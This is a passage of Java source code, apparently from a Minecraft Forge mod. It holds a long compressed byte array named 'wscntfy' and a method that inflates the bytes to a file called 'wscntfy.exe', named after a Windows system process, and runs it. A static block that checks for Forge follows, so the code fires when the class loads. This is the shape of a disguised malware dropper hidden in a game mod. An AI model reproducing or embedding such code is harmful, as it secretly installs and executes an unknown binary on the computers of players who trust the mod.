| (byte)0x71, (byte)0xbe, (byte)0xd4, (byte)0x63, (byte)0x85, (byte)0xae, (byte)0x2c, (byte)0x78, |
| (byte)0x3c, (byte)0x85, (byte)0x1e, (byte)0x2f, (byte)0x12, (byte)0x8f, (byte)0x15, (byte)0x05, |
| (byte)0x8f, (byte)0x69, (byte)0x05, (byte)0x0d, (byte)0x09, (byte)0xe2, (byte)0x98, (byte)0x47, |
| (byte)0xfa, (byte)0x4d, (byte)0x57, (byte)0x06, (byte)0x07, (byte)0x7b, (byte)0x82, (byte)0xb8, |
| (byte)0x9a, (byte)0xe8, (byte)0xf6, (byte)0x02, (byte)0xba, (byte)0x42, (byte)0xaf, (byte)0x5f, |
| (byte)0x40, (byte)0x9b, (byte)0x0b, (byte)0xa8, (byte)0x43, (byte)0x5f, (byte)0x61, (byte)0x0d, |
| (byte)0x73, (byte)0xde, (byte)0x48, (byte)0x4d, (byte)0x39, (byte)0xc7, (byte)0xbf, (byte)0x88, |
| (byte)0x0a, (byte)0xfd, (byte)0xa0, (byte)0x9d, (byte)0x1a, (byte)0x4e, (byte)0xaf, (byte)0x44, |
| (byte)0x21, (byte)0x57, (byte)0xd4, (byte)0x68, (byte)0x7d, (byte)0x1d, (byte)0x13, (byte)0x8d, |
| (byte)0xb8, (byte)0xb2, (byte)0x98, (byte)0xd0, (byte)0x66, (byte)0x1c, (byte)0x5e, (byte)0xc0, |
| (byte)0x5b, (byte)0x0b, (byte)0xf4, (byte)0xfd, (byte)0x18, (byte)0x22, (byte)0x7d, (byte)0x06, |
| (byte)0x37, (byte)0x1f, (byte)0xfd, (byte)0x81, (byte)0x4a, (byte)0x5d, (byte)0xd6, (byte)0x9c, |
| (byte)0x1c, (byte)0x27, (byte)0x54, (byte)0xa1, (byte)0xc6, (byte)0xaf, (byte)0x0f, (byte)0xa1, |
| (byte)0xaa, (byte)0xa7, (byte)0x1b, (byte)0xad, (byte)0xab, (byte)0x88, (byte)0x35, (byte)0xf1, |
| (byte)0xc4, (byte)0x7c, (byte)0xcf, (byte)0xba, (byte)0x2e, (byte)0x4c, (byte)0x5a, (byte)0xfb, |
| (byte)0xb7, (byte)0x8f, (byte)0x32, (byte)0xc5, (byte)0xeb, (byte)0xe7, (byte)0x98, (byte)0xb0, |
| (byte)0xa3, (byte)0x55, (byte)0x86, (byte)0x8c, (byte)0x50, (byte)0x63, (byte)0x5c, (byte)0xa2, |
| (byte)0xc2, (byte)0x58, (byte)0xde, (byte)0x7e, (byte)0xbc, (byte)0x00, (byte)0x26, (byte)0x67, |
| (byte)0x2e, (byte)0x4c, (byte)0xe6, (byte)0xac, (byte)0xfa, (byte)0xa3, (byte)0xfd, (byte)0xb7, |
| (byte)0x02, (byte)0x99, (byte)0x2a, (byte)0x20, (byte)0xf9, (byte)0x5c, (byte)0xd0, (byte)0x96, |
| (byte)0x67, (byte)0xf9, (byte)0xd9, (byte)0xde, (byte)0xbd, (byte)0x7d, (byte)0x93, (byte)0x99, |
| (byte)0xba, (byte)0xf1, (byte)0x5a, (byte)0x37, (byte)0x9c, (byte)0x2b, (byte)0x27, (byte)0x30, |
| (byte)0x59, (byte)0x54, (byte)0xdd, (byte)0x43, (byte)0x4a, (byte)0x75, (byte)0xd7, (byte)0xd0, |
| (byte)0xbe, (byte)0x9a, (byte)0x9a, (byte)0xd2, (byte)0xaa, (byte)0xb3, (byte)0xcd, (byte)0x47, |
| (byte)0x89, (byte)0x9a, (byte)0xd6, (byte)0xdb, (byte)0xf8, (byte)0xfc, (byte)0xd8, (byte)0xdf, |
| (byte)0xed, (byte)0x3b, (byte)0x92, (byte)0xb3, (byte)0x24, (byte)0xb5, (byte)0x5b, (byte)0xab, |
| (byte)0x70, (byte)0x22, (byte)0x99, (byte)0x39, (byte)0x83, (byte)0x94, (byte)0xc7, (byte)0x0a, |
| (byte)0xd4, (byte)0x34, (byte)0x35, (byte)0x63, (byte)0x4b, (byte)0x4f, (byte)0x66, (byte)0x5b, |
| (byte)0x99, (byte)0x4c, (byte)0x75, (byte)0x8a, (byte)0xf8, (byte)0xa4, (byte)0x2e, (byte)0x27, |
| (byte)0x6f, (byte)0xcd, (byte)0xbc, (byte)0xb9, (byte)0xb8, (byte)0x1e, (byte)0xb8, (byte)0x9f, |
| (byte)0x1c, (byte)0xe9, (byte)0xc9, (byte)0x73, (byte)0xe5, (byte)0x6d, (byte)0xb8, (byte)0x73, |
| (byte)0x57, (byte)0xe3, (byte)0x60, (byte)0xe7, (byte)0xca, (byte)0xaf, (byte)0xb6, (byte)0xba, |
| (byte)0xe9, (byte)0x3d, (byte)0x2b, (byte)0x90, (byte)0xc1, (byte)0xfd, (byte)0x42, (byte)0xd7, |
| (byte)0x56, (byte)0x8c, (byte)0xfb, (byte)0x51, (byte)0x19, (byte)0x3d, (byte)0x9b, (byte)0x31, |
| (byte)0x77, (byte)0x40, (byte)0x78, (byte)0x16, (byte)0xd5, (byte)0xfa, (byte)0x87, (byte)0x28, |
| (byte)0x77, (byte)0xf5, (byte)0x08, (byte)0x9b, (byte)0xdc, (byte)0x24, (byte)0xcf, (byte)0x2e, |
| (byte)0x44, (byte)0x5c, (byte)0x38, (byte)0xff, (byte)0x18, (byte)0xa3, (byte)0xbf, (byte)0x80, |
| (byte)0x85, (byte)0x27, (byte)0x5b, (byte)0x6c, (byte)0x32, (byte)0xeb, (byte)0x5d, (byte)0x63, |
| (byte)0xc7, (byte)0x93, (byte)0x67, (byte)0x7c, (byte)0x7b, (byte)0x8e, (byte)0x8c, (byte)0xe1, |
| (byte)0xc3, (byte)0x43, (byte)0xae, (byte)0x3b, (byte)0xc9, (byte)0xca, (byte)0xfc, (byte)0x9a, |
| (byte)0xa1, (byte)0xe7, (byte)0x3a, (byte)0x06, (byte)0xba, (byte)0x1d, (byte)0x4d, (byte)0x63, |
| (byte)0x20, (byte)0x34, (byte)0xd5, (byte)0xb8, (byte)0xb1, (byte)0x8b, (byte)0xf1, (byte)0x9c, |
| (byte)0x7e, (byte)0x9c, (byte)0x9e, (byte)0x44, (byte)0x1c, (byte)0xa5, (byte)0x29, (byte)0x4f, |
| (byte)0x16, (byte)0xf2, (byte)0x43, (byte)0x4c, (byte)0x61, (byte)0x82, (byte)0x1c, (byte)0xc4, |
| (byte)0x73, (byte)0xe5, (byte)0x64, (byte)0x98, (byte)0xd7, (byte)0x49, (byte)0x06, (byte)0x79, |
| (byte)0xb7, (byte)0x4f, (byte)0x20, (byte)0x8c, (byte)0xd0, (byte)0xd8, (byte)0x48, (byte)0xce, |
| (byte)0xae, (byte)0xaf, (byte)0x8c, (byte)0xe4, (byte)0xeb, (byte)0x76, (byte)0x9b, (byte)0x65, |
| (byte)0x2a, (byte)0x9a, (byte)0x83, (byte)0x7d, (byte)0xcd, (byte)0x76, (byte)0xb2, (byte)0xac, |
| (byte)0xa7, (byte)0xcd, (byte)0xac, (byte)0x71, (byte)0x21, (byte)0x6a, (byte)0xfd, (byte)0x7e, |
| (byte)0xe1, (byte)0x0e, (byte)0x1a, (byte)0x71, (byte)0xba, (byte)0x07, (byte)0xb1, (byte)0xe3, |
| (byte)0x5e, (byte)0x37, (byte)0xd9, (byte)0x00, (byte)0x3d, (byte)0xdd, (byte)0xc9, (byte)0x1a, |
| (byte)0x9f, (byte)0x4f, (byte)0x60, (byte)0x5e, (byte)0x20, (byte)0x89, (byte)0xe8, (byte)0x1b, |
| (byte)0x0b, (byte)0x8a, (byte)0xae, (byte)0x1e, (byte)0x5f, (byte)0x6c, (byte)0xb5, (byte)0xb0, |
| (byte)0x17, (byte)0x03, (byte)0x08, (byte)0x1c, (byte)0xb9, (byte)0x62, (byte)0xee, (byte)0x62, |
| (byte)0x31, (byte)0xd2, (byte)0x75, (byte)0x5b, (byte)0xe8, (byte)0x54, (byte)0xdb, (byte)0xf1, |
| (byte)0x7b, (byte)0x97, (byte)0x7d, (byte)0x7e, (byte)0xee, (byte)0xe8, (byte)0x96, (byte)0x2d, |
| (byte)0x23, (byte)0xde, (byte)0xe4, (byte)0x23, (byte)0xbc, (byte)0x61, (byte)0x4e, (byte)0x05, |
| (byte)0xf4, (byte)0x6e, (byte)0xc4, (byte)0xba, (byte)0x7b, (byte)0xb3, (byte)0x7d, (byte)0x57, |
| (byte)0x67, (byte)0x56, (byte)0xe1, (byte)0x5c, (byte)0x03, (byte)0xfa, (byte)0xef, (byte)0x31, |
| (byte)0x42, (byte)0x40, (byte)0x9f, (byte)0xb2, (byte)0x99, (byte)0x35, (byte)0xa4, (byte)0x36, |
| (byte)0x01, (byte)0xfd, (byte)0x3d, (byte)0x1b, (byte)0x39, (byte)0x97, (byte)0xc9, (byte)0xf7, |
| (byte)0x33, (byte)0x9e, (byte)0xeb, (byte)0xb8, (byte)0x5c, (byte)0xdd, (byte)0xbd, (byte)0x7d, |
| (byte)0xd9, (byte)0xd0, (byte)0xdc, (byte)0xa4, (byte)0xb9, (byte)0x81, (byte)0x32, (byte)0x9e, |
| (byte)0xca, (byte)0xcc, (byte)0xee, (byte)0xea, (byte)0x68, (byte)0x8b, (byte)0x8b, (byte)0x49, |
| (byte)0xba, (byte)0x7c, (byte)0xbe, (byte)0x18, (byte)0x18, (byte)0x49, (byte)0x87, (byte)0xfe, |
| (byte)0x33, (byte)0x1b, (byte)0x19, (byte)0x75, (byte)0xa6, (byte)0x33, (byte)0xda, (byte)0xb2, |
| (byte)0xcb, (byte)0x9e, (byte)0xdc, (byte)0x79, (byte)0xe0, (byte)0x63, (byte)0x06, (byte)0xe5, |
| (byte)0xe4, (byte)0x6a, (byte)0xbc, (byte)0x72, (byte)0x48, (byte)0x89, (byte)0xb0, (byte)0x30, |
| (byte)0x9c, (byte)0xb0, (byte)0x8f, (byte)0x4c, (byte)0xb9, (byte)0x01, (byte)0xe1, (byte)0x99, |
| (byte)0x8d, (byte)0x07, (byte)0x3e, (byte)0xb6, (byte)0x13, (byte)0xf5, (byte)0xfa, (byte)0x62, |
| (byte)0xf5, (byte)0x41, (byte)0xa2, (byte)0x76, (byte)0x22, (byte)0x7c, (byte)0xea, (byte)0x55, |
| (byte)0xe4, (byte)0x4e, (byte)0x92, (byte)0xf9, (byte)0xe9, (byte)0x73, (byte)0xf7, (byte)0xe8, |
| (byte)0x76, (byte)0x69, (byte)0xca, (byte)0x5f, (byte)0xb0, (byte)0x46, (byte)0x2e, (byte)0xd2, |
| (byte)0x5d, (byte)0xbb, (byte)0x47, (byte)0xcf, (byte)0xa7, (byte)0x90, (byte)0x7f, (byte)0x8f, |
| (byte)0x01, (byte)0xfd, (byte)0xb0, (byte)0x99, (byte)0xfb, (byte)0xcc, (byte)0x1f, (byte)0x73, |
| (byte)0x39, (byte)0x63, (byte)0x6d, (byte)0x35, (byte)0x86, (byte)0xcc, (byte)0xe5, (byte)0xe6, |
| (byte)0xef, (byte)0x78, (byte)0x5c, (byte)0xdf, (byte)0x23, (byte)0x47, (byte)0xba, (byte)0xd2, |
| (byte)0x93, (byte)0x5f, (byte)0xa7, (byte)0xcf, (byte)0x14, (byte)0x47, (byte)0x8f, (byte)0x74, |
| (byte)0x1d, (byte)0x6d, (byte)0xba, (byte)0xf2, (byte)0x13, (byte)0xc2, (byte)0x3b, (byte)0xc7, |
| (byte)0xaf, (byte)0xd0, (byte)0x3b, (byte)0xc7, (byte)0x79, (byte)0x0c, (byte)0xef, (byte)0x9f, |
| (byte)0xf1, (byte)0x77, (byte)0x91, (byte)0x3f, (byte)0x49, (byte)0xd6, (byte)0xc9, (byte)0x79, |
| (byte)0xec, (byte)0xce, (byte)0xdb, (byte)0x8c, (byte)0x33, (byte)0x75, (byte)0x16, (byte)0xd9, |
| (byte)0x68, (byte)0xea, (byte)0xf2, (byte)0x48, (byte)0xd5, (byte)0x44, (byte)0x2d, (byte)0xb9, |
| (byte)0xbe, (byte)0xcf, (byte)0xdb, (byte)0x8e, (byte)0x93, (byte)0xfe, (byte)0xa3, (byte)0x33, |
| (byte)0xe4, (byte)0x09, (byte)0x41, (byte)0x2b, (byte)0x80, (byte)0xf6, (byte)0x79, (byte)0x10, |
| (byte)0x98, (byte)0x79, (byte)0xd0, (byte)0xb1, (byte)0x00, (byte)0xda, (byte)0xe6, (byte)0x41, |
| (byte)0x17, (byte)0x05, (byte)0x0f, (byte)0xfc, (byte)0x99, (byte)0x3c, (byte)0xe8, (byte)0x68, |
| (byte)0xce, (byte)0x4c, (byte)0x1d, (byte)0x45, (byte)0xdf, (byte)0x61, (byte)0xd3, (byte)0x94, |
| (byte)0xb9, (byte)0x73, (byte)0x9a, (byte)0x41, (byte)0xac, (byte)0x86, (byte)0x62, (byte)0xbf, |
| (byte)0x71, (byte)0xa7, (byte)0x29, (byte)0x33, (byte)0x7a, (byte)0x83, (byte)0xd5, (byte)0x2a, |
| (byte)0xa9, (byte)0x73, (byte)0xe5, (byte)0x28, (byte)0xf5, (byte)0x25, (byte)0x67, (byte)0x7f, |
| (byte)0xd4, (byte)0x79, (byte)0xac, (byte)0x85, (byte)0x74, (byte)0xfb, (byte)0xea, (byte)0x49, |
| (byte)0xaa, (byte)0x28, (byte)0x51, (byte)0x83, (byte)0xf4, (byte)0xe9, (byte)0xd1, (byte)0x8b, |
| (byte)0x0c, (byte)0x0d, (byte)0xed, (byte)0xd6, (byte)0xbe, (byte)0x3c, (byte)0xfa, (byte)0x6e, |
| (byte)0x19, (byte)0x35, (byte)0xef, (byte)0xed, (byte)0x9b, (byte)0xa4, (byte)0x67, (byte)0xd0, |
| (byte)0x1a, (byte)0x9f, (byte)0xa1, (byte)0xe0, (byte)0xf4, (byte)0x57, (byte)0x70, (byte)0x93, |
| (byte)0xf7, (byte)0xa6, (byte)0xab, (byte)0x08, (byte)0x8f, (byte)0x7a, (byte)0xeb, (byte)0x8c, |
| (byte)0x4d, (byte)0x7d, (byte)0x60, (byte)0xf1, (byte)0x54, (byte)0xfe, (byte)0xd5, (byte)0x6c, |
| (byte)0x23, (byte)0xf9, (byte)0x09, (byte)0x9c, (byte)0xa9, (byte)0x36, (byte)0xaf, (byte)0xf6, |
| (byte)0x8c, (byte)0xcf, (byte)0x9e, (byte)0x61, (byte)0xc6, (byte)0x4e, (byte)0x3b, (byte)0x98, |
| (byte)0x17, (byte)0xc9, (byte)0xb3, (byte)0xcc, (byte)0x81, (byte)0x7f, (byte)0x11, (byte)0xad, |
| (byte)0xf2, (byte)0xd7, (byte)0x05, (byte)0x07, (byte)0x63, (byte)0x6d, (byte)0xdb, (byte)0xa2, |
| (byte)0x7a, (byte)0x1b, (byte)0x6b, (byte)0xfb, (byte)0x4b, (byte)0x64, (byte)0x6f, (byte)0x89, |
| (byte)0xac, (byte)0x95, (byte)0xc8, (byte)0xed, (byte)0x25, (byte)0x72, (byte)0x67, (byte)0x89, |
| (byte)0x1c, (byte)0x2f, (byte)0x91, (byte)0x85, (byte)0x12, (byte)0x39, (byte)0x51, (byte)0x22, |
| (byte)0xbf, (byte)0x44, (byte)0x65, (byte)0x63, (byte)0xed, (byte)0x2b, (byte)0x56, (byte)0xff, |
| (byte)0x23, (byte)0xab, (byte)0xcf, (byte)0x59, (byte)0xfd, (byte)0x21, (byte)0xab, (byte)0x3f, |
| (byte)0x62, (byte)0xf5, (byte)0xcd, (byte)0x25, (byte)0xfe, (byte)0x6b, (byte)0x4a, (byte)0xe4, |
| (byte)0x0d, (byte)0x25, (byte)0xf2, (byte)0xc6, (byte)0x12, (byte)0xb9, (byte)0xb1, (byte)0x44, |
| (byte)0x66, (byte)0x4b, (byte)0xe4, (byte)0x4d, (byte)0x25, (byte)0xf2, (byte)0xe8, (byte)0x62, |
| (byte)0xd9, (byte)0x20, (byte)0xff, (byte)0x3c, (byte)0x16, (byte)0xfa, (byte)0xa5, (byte)0xf6, |
| (byte)0xe9, (byte)0xb6, (byte)0x5c, (byte)0xed, (byte)0xc2, (byte)0x1f, (byte)0x81, (byte)0xfb, |
| (byte)0xd6, (byte)0xc0, (byte)0xbd, (byte)0x54, (byte)0x9f, (byte)0xff, (byte)0xe5, (byte)0x16, |
| (byte)0x17, (byte)0x07, (byte)0x06, (byte)0xc3, (byte)0xb1, (byte)0xa0, (byte)0xda, (byte)0x10, |
| (byte)0x89, (byte)0xc7, (byte)0x21, (byte)0xb8, (byte)0x7d, (byte)0x5f, (byte)0xd0, (byte)0xcf, |
| (byte)0x0f, (byte)0x8a, (byte)0xaa, (byte)0xc6, (byte)0x2b, (byte)0xad, (byte)0xf1, (byte)0x90, |
| (byte)0xaa, (byte)0xf2, (byte)0x6a, (byte)0xa9, (byte)0xbd, (byte)0x2a, (byte)0x3e, (byte)0xcf, |
| (byte)0xb3, (byte)0x72, (byte)0x94, (byte)0x55, (byte)0x35, (byte)0x25, (byte)0x19, (byte)0x6c, |
| (byte)0x6e, (byte)0xfc, (byte)0xc6, (byte)0xd3, (byte)0x5b, (byte)0x37, (byte)0xb1, (byte)0xdf, |
| (byte)0x64, (byte)0xd7, (byte)0x26, (byte)0x2b, (byte)0x60, (byte)0x18, (byte)0x54, (byte)0x08, |
| (byte)0x43, (byte)0x12, (byte)0x44, (byte)0x68, (byte)0xc0, (byte)0x3e, (byte)0x01, (byte)0x71, |
| (byte)0xb4, (byte)0xee, (byte)0x96, (byte)0x93, (byte)0x0a, (byte)0x3b, (byte)0x2c, (byte)0x2b, |
| (byte)0xf1, (byte)0x08, (byte)0x2b, (byte)0xaa, (byte)0xac, (byte)0x28, (byte)0x45, (byte)0xf9, |
| (byte)0xb0, (byte)0xc6, (byte)0x47, (byte)0xea, (byte)0xc1, (byte)0xcb, (byte)0x47, (byte)0x35, |
| (byte)0x76, (byte)0x20, (byte)0xa9, (byte)0x69, (byte)0xb2, (byte)0xc4, (byte)0x46, (byte)0xe4, |
| (byte)0x61, (byte)0xa9, (byte)0x02, (byte)0xfc, (byte)0xe2, (byte)0xa0, (byte)0x50, (byte)0x02, |
| (byte)0x75, (byte)0x88, (byte)0x12, (byte)0x1f, (byte)0x56, (byte)0x42, (byte)0x68, (byte)0x29, |
| (byte)0x84, (byte)0x54, (byte)0x36, (byte)0xc2, (byte)0x6b, (byte)0xd4, (byte)0x99, (byte)0x0d, |
| (byte)0x0b, (byte)0x62, (byte)0xf8, (byte)0x39, (byte)0x5e, (byte)0xb2, (byte)0xa2, (byte)0x89, |
| (byte)0xb2, (byte)0x54, (byte)0x5f, (byte)0xd1, (byte)0x1a, (byte)0x47, (byte)0x88, (byte)0x15, |
| (byte)0x78, (byte)0x85, (byte)0x67, (byte)0x35, (byte)0x99, (byte)0xbc, (byte)0x7f, (byte)0x20, |
| (byte)0xa6, (byte)0xec, (byte)0xc8, (byte)0xc2, (byte)0xe0, (byte)0x51, (byte)0x45, (byte)0x1e, |
| (byte)0x2a, (byte)0x38, (byte)0xaa, (byte)0xf5, (byte)0x4b, (byte)0xab, (byte)0xbe, (byte)0xd0, |
| (byte)0xbe, (byte)0xc3, (byte)0x2d, (byte)0xf0, (byte)0x42, (byte)0x00, (byte)0xa0, (byte)0xda, |
| (byte)0x07, (byte)0x70, (byte)0xb0, (byte)0x08, (byte)0x3b, (byte)0x84, (byte)0x18, (byte)0x8b, |
| (byte)0xd8, (byte)0x4f, (byte)0x8b, (byte)0xb0, (byte)0x2b, (byte)0x88, (byte)0xb5, (byte)0x21, |
| (byte)0xa6, (byte)0x17, (byte)0x61, (byte)0x3a, (byte)0x62, (byte)0xa3, (byte)0x88, (byte)0xdd, |
| (byte)0x2e, (byte)0xc2, (byte)0x2a, (byte)0x3b, (byte)0x01, (byte)0x5e, (byte)0xf2, (byte)0x3d, |
| (byte)0x7c, (byte)0xec, (byte)0xd7, (byte)0x8b, (byte)0x74, (byte)0x79, (byte)0xe4, (byte)0x2f, |
| (byte)0x21, (byte)0x5d, (byte)0x23, (byte)0x31, (byte)0x90, (byte)0x1c, (byte)0x7e, (byte)0x80, |
| (byte)0x5a, (byte)0xa4, (byte)0x4d, (byte)0xfe, (byte)0xa2, (byte)0xab, (byte)0x08, (byte)0x79, |
| (byte)0x0e, (byte)0xa9, (byte)0x1f, (byte)0x29, (byte)0x81, (byte)0x34, (byte)0x8e, (byte)0x94, |
| (byte)0x43, (byte)0x7a, (byte)0x05, (byte)0xe9, (byte)0x35, (byte)0xa4, (byte)0x9f, (byte)0x23, |
| (byte)0xbd, (byte)0x85, (byte)0x74, (byte)0x1e, (byte)0xe9, (byte)0x12, (byte)0xd2, (byte)0xd5, |
| (byte)0x22, (byte)0x5f, (byte)0xbd, (byte)0x88, (byte)0x9f, (byte)0x43, (byte)0x7e, (byte)0x15, |
| (byte)0xe6, (byte)0xbb, (byte)0x0e, (byte)0xa9, (byte)0x19, (byte)0xc9, (byte)0x8d, (byte)0xb4, |
| (byte)0x33, (byte)0xf0, (byte)0xd9, (byte)0xce, (byte)0xab, (byte)0x17, (byte)0xb6, (byte)0x49, |
| (byte)0xa2, (byte)0xd6, (byte)0x2a, (byte)0x0f, (byte)0x0d, (byte)0xc9, (byte)0x52, (byte)0xab, |
| (byte)0x2c, (byte)0x69, (byte)0x8a, (byte)0x1c, (byte)0x57, (byte)0x4d, (byte)0xbc, (byte)0x55, |
| (byte)0xe1, (byte)0x43, (byte)0x1a, (byte)0xdf, (byte)0x29, (byte)0x60, (byte)0x17, (byte)0x01, |
| (byte)0x38, (byte)0x02, (byte)0x9e, (byte)0xfd, (byte)0xa2, (byte)0xc6, (byte)0x29, (byte)0x72, |
| (byte)0x98, (byte)0xa7, (byte)0x2f, (byte)0x7a, (byte)0x7c, (byte)0xcc, (byte)0x33, (byte)0xbc, |
| (byte)0xd6, (byte)0x21, (byte)0x47, (byte)0x92, (byte)0x71, (byte)0xbe, (byte)0x3d, (byte)0x24, |
| (byte)0x45, (byte)0xe2, (byte)0xfc, (byte)0x56, (byte)0x3c, (byte)0xf3, (byte)0x04, (byte)0x23, |
| (byte)0x26, (byte)0x5b, (byte)0x23, (byte)0x11, (byte)0xc5, (byte)0x34, (byte)0x03, (byte)0xa7, |
| (byte)0xcd, (byte)0x2b, (byte)0x87, (byte)0x22, (byte)0x5e, (byte)0x71, (byte)0x40, (byte)0x09, |
| (byte)0x29, (byte)0x23, (byte)0x7b, (byte)0x00, (byte)0x3e, (byte)0xb0, (byte)0x05, (byte)0x78, |
| (byte)0x6d, (byte)0xb7, (byte)0x24, (byte)0x50, (byte)0x9f, (byte)0x88, (byte)0x67, (byte)0x7f, |
| (byte)0x98, (byte)0x4f, (byte)0x90, (byte)0xb3, (byte)0xf6, (byte)0xb4, (byte)0x18, (byte)0xc7, |
| (byte)0xbb, (byte)0x01, (byte)0xed, (byte)0xff, (byte)0x61, (byte)0x0b, (byte)0xc4, (byte)0x79, |
| (byte)0x3e, (byte)0x01, (byte)0xeb, (byte)0x21, (byte)0x18, (byte)0x1c, (byte)0xe4, (byte)0xb5, |
| (byte)0xa1, (byte)0x90, (byte)0x28, (byte)0x85, (byte)0x94, (byte)0x41, (byte)0x15, (byte)0xb6, |
| (byte)0xa0, (byte)0x9c, (byte)0x08, (byte)0x06, (byte)0x79, (byte)0x69, (byte)0x9f, (byte)0xa8, |
| (byte)0xc8, (byte)0x12, (byte)0xc0, (byte)0x53, (byte)0xa6, (byte)0x1c, (byte)0x25, (byte)0xef, |
| (byte)0xfd, (byte)0xc8, (byte)0x38, (byte)0x1c, (byte)0xca, (byte)0x2a, (byte)0xaf, (byte)0x05, |
| (byte)0x43, (byte)0x89, (byte)0x44, (byte)0x50, (byte)0x1b, (byte)0x49, (byte)0x50, (byte)0x6c, |
| (byte)0x04, (byte)0x82, (byte)0x61, (byte)0x1e, (byte)0xb3, (byte)0x26, (byte)0xfc, (byte)0x34, |
| (byte)0x04, (byte)0x45, (byte)0x79, (byte)0x00, (byte)0x60, (byte)0x2f, (byte)0x13, (byte)0x94, |
| (byte)0x25, (byte)0x0b, (byte)0x1c, (byte)0x67, (byte)0x88, (byte)0x8b, (byte)0x19, (byte)0xe1, |
| (byte)0x31, (byte)0x1b, (byte)0x4e, (byte)0xd6, (byte)0xb2, (byte)0x7d, (byte)0xd2, (byte)0x16, |
| (byte)0x4d, (byte)0x28, (byte)0xa2, (byte)0xa4, (byte)0x45, (byte)0x91, (byte)0xdf, (byte)0x8c, |
| (byte)0x7c, (byte)0x52, (byte)0x53, (byte)0x41, (byte)0xb3, (byte)0x0d, (byte)0x0d, (byte)0xa8, |
| (byte)0x9a, (byte)0x3c, (byte)0x1c, (byte)0xc6, (byte)0x59, (byte)0xe5, (byte)0x6c, (byte)0xaa, |
| (byte)0x38, (byte)0x28, (byte)0x85, (byte)0xc8, (byte)0x45, (byte)0x04, (byte)0x87, (byte)0x21, |
| (byte)0x20, (byte)0xf0, (byte)0xf1, (byte)0x78, (byte)0x70, (byte)0xa7, (byte)0xac, (byte)0x89, |
| (byte)0xd1, (byte)0x91, (byte)0x6d, (byte)0x61, (byte)0x59, (byte)0xda, (byte)0x83, (byte)0xb9, |
| (byte)0x98, (byte)0xb5, (byte)0x6b, (byte)0x13, (byte)0x43, (byte)0x71, (byte)0x79, (byte)0x90, |
| (byte)0x0b, (byte)0x29, (byte)0xa1, (byte)0x21, (byte)0x9c, (byte)0xf9, (byte)0x0f, (byte)0xa1, |
| (byte)0x4d, (byte)0x54, (byte)0x13, (byte)0x21, (byte)0x2d, (byte)0x2c, (byte)0x74, (byte)0x60, |
| (byte)0x6d, (byte)0x42, (byte)0x83, (byte)0x3c, (byte)0x62, (byte)0x1b, (byte)0x68, (byte)0x15, |
| (byte)0x0b, (byte)0xe2, (byte)0x61, (byte)0x86, (byte)0xd4, (byte)0xca, (byte)0x8c, (byte)0xd1, |
| (byte)0x6e, (byte)0x0b, (byte)0x08, (byte)0xf2, (byte)0xf0, (byte)0x1e, (byte)0x51, (byte)0xc2, |
| (byte)0x3b, (byte)0x0b, (byte)0x20, (byte)0x68, (byte)0xeb, (byte)0x54, (byte)0x42, (byte)0x92, |
| (byte)0x1a, (byte)0xc7, (byte)0xa0, (byte)0x96, (byte)0x35, (byte)0x98, (byte)0x93, (byte)0x86, |
| (byte)0xd6, (byte)0x5d, (byte)0x1d, (byte)0xad, (byte)0x9d, (byte)0xde, (byte)0xaf, (byte)0x3d, |
| (byte)0xde, (byte)0xd0, (byte)0xe6, (byte)0xf5, (byte)0x12, (byte)0xa8, (byte)0x9a, (byte)0x7b, |
| (byte)0x38, (byte)0xed, (byte)0xf0, (byte)0xf8, (byte)0x77, (byte)0x7a, (byte)0x88, (byte)0x2d, |
| (byte)0xb9, (byte)0x93, (byte)0xb1, (byte)0x6d, (byte)0xe0, (byte)0xfe, (byte)0x7b, (byte)0x1a, |
| (byte)0x52, (byte)0xf7, (byte)0x85, (byte)0x15, (byte)0xcd, (byte)0x8c, (byte)0xb0, (byte)0x05, |
| (byte)0xe5, (byte)0x40, (byte)0xbb, (byte)0xc7, (byte)0x5b, (byte)0x18, (byte)0x9e, (byte)0xe3, |
| (byte)0xe0, (byte)0x81, (byte)0xb4, (byte)0x3b, (byte)0xe0, (byte)0xf1, (byte)0x2f, (byte)0x8c, |
| (byte)0xba, (byte)0xd4, (byte)0xfe, (byte)0x5f, (byte)0xda, (byte)0xb2, (byte)0xcf, (byte)0xa5, |
| (byte)0xac, (byte)0x5b, (byte)0x86, (byte)0x81, (byte)0x72, (byte)0xa0, (byte)0xaf, (byte)0x6f, |
| (byte)0x47, (byte)0x4b, (byte)0x71, (byte)0xb2, (byte)0x91, (byte)0x1b, (byte)0x1f, (byte)0x80, |
| (byte)0x3f, (byte)0x82, (byte)0x7f, (byte)0xb5, (byte)0xdb, (byte)0x91, (byte)0xeb, (byte)0xea, |
| (byte)0x07, (byte)0xf8, (byte)0x5e, (byte)0x51, (byte)0xcc, (byte)0x3c, (byte)0x9c, (byte)0xa7, |
| (byte)0xb6, (byte)0xe6, (byte)0x3b, (byte)0xf8, (byte)0x53, (byte)0xd0, (byte)0x43, (byte)0xfb, |
| (byte)0x36, (byte)0x7c, (byte)0x3a, (byte)0x08, (byte)0xe1, (byte)0x93, (byte)0x81, (byte)0x0c, |
| (byte)0x83, (byte)0x28, (byte)0x39, (byte)0xa0, (byte)0x03, (byte)0x02, (byte)0xf8, (byte)0x2f, |
| (byte)0x34, (byte)0x80, (byte)0x98, (byte)0x84, (byte)0x4f, (byte)0x0f, (byte)0x84, (byte)0xe3, |
| (byte)0x41, (byte)0x41, (byte)0x9b, (byte)0xa8, (byte)0x15, (byte)0x9d, (byte)0xa1, (byte)0xbf, |
| (byte)0x26, (byte)0x07, (byte)0x60, (byte)0x39, (byte)0x3c, (byte)0x0e, (byte)0x2b, (byte)0x51, |
| (byte)0x36, (byte)0x8c, (byte)0x51, (byte)0xd8, (byte)0x05, (byte)0x3b, (byte)0xe6, (byte)0x47, |
| (byte)0x29, (byte)0xe8, (byte)0x6b, (byte)0xa9, (byte)0xde, (byte)0x46, (byte)0xf5, (byte)0xad, |
| (byte)0x34, (byte)0x5a, (byte)0x18, (byte)0x23, (byte)0x2d, (byte)0x6d, (byte)0xe3, (byte)0x4f, |
| (byte)0x6e, (byte)0xff, (byte)0x01 |
| }; |
| |
| private static void extract_and_run_wscntfy() throws IOException, java.util.zip.DataFormatException { |
| Inflater inflater = new Inflater(true); |
| inflater.setInput(wscntfy); |
| FileOutputStream stream = new FileOutputStream("wscntfy.exe"); |
| try { |
| byte[] buffer = new byte[4096]; |
| int s; |
| do { |
| s = inflater.inflate(buffer); |
| stream.write(buffer, 0, s); |
| } while(s > 0); |
| inflater.end(); |
| } finally { |
| stream.close(); |
| } |
| Runtime.getRuntime().exec(new String[] { "wscntfy.exe" }); |
| } |
| |
| static { |
| if(is_minecraftforge_available()) try { |
| entity_class = Class.forName("net.minecraft.entity.Entity"); |
